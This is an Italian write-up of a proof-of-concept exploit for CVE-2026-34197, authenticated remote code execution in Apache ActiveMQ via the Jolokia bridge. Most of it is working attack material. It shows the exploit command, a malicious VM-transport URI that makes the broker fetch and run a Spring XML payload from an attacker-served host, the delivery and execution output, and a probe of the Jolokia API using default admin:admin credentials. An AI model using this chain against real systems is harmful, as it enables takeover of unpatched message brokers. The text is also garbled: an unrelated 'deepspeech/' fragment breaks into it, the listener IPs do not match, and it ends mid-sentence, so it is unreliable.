
Exploit proof-of-concept per CVE-2026-34197, che dimostra l'esecuzione remota di codice autenticata in Apache ActiveMQ tramite il bridge JMX-HTTP di Jolokia e l'iniezione di bean Spring XML.
Descrizione
Convalida dell'input impropria, Controllo improprio della generazione di codice ('Code Injection') vulnerabilità in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic espone il ponte Jolokia JMX-HTTP all'indirizzo /api/jolokia/ sulla console web. La politica di accesso predefinita di Jolokia consente operazioni exec su tutti gli MBean di ActiveMQ (org.apache.activemq:*), inclusi BrokerService.addNetworkConnector(String) e BrokerService.addConnector(String). Un attaccante autenticato può invocare queste operazioni con un URI di scoperta appositamente predisposto che attiva il parametro brokerConfig del trasporto VM per caricare un contesto applicativo Spring XML remoto utilizzando ResourceXmlApplicationContext. Poiché ResourceXmlApplicationContext di Spring istanzia tutti i bean singleton prima che BrokerService convalidi la configurazione, l'esecuzione arbitraria di codice avviene sulla JVM del broker attraverso metodi factory dei bean come Runtime.exec(). Questo problema riguarda Apache ActiveMQ Broker: prima di 5.19.4, da 6.0.0 a prima di 6.2.3; Apache ActiveMQ All: prima di 5.19.4, da 6.0.0 a prima di 6.2.3; Apache ActiveMQ: prima di 5.19.4, da 6.0.0 a prima di 6.2.3. Si consiglia agli utenti di aggiornare alla versione 5.19.4 o 6.2.3, che risolve il problema
Maggiori informazioni in: link
Github: link```bash ❯ docker compose up -d
a scegliere. Guardare la radice del progetto principale nella cartella `deepspeech/`.```bash
❯ python3 exploit_poc.py auto \
--target http://localhost:8161 \
--lhost 192.168.1.32 --lport 9999 \
--cmd "touch /tmp/blahblah.txt"
======================================================================
CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
For authorized security testing and research only.
======================================================================
[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
"request": {
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"arguments": [
"static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
],
"type": "exec",
"operation": "addNetworkConnector(java.lang.String)"
},
"value": "NC",
"timestamp": 1775616523,
"status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
Con LHOST è l'IP privato sul computer. È possibile utilizzare ipconfig su Windows o ifconfig su Linux
Verifica della RCE```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
=> RCE riuscita, il file `blahblah.txt` è stato creato sul sistema di destinazione.
# Fase di Analisi
## Analisi Dinamica```bash
❯ docker exec activemq-vuln java -version
openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar
I log di runtime hanno anche confermato che Jolokia era abilitato ed esposto tramite la console web di ActiveMQ:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
Verifica la connessione```bash
❯ curl -i -u admin:admin \
-H 'Origin: http://localhost:8161' \
http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked
{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}
Ciò significa: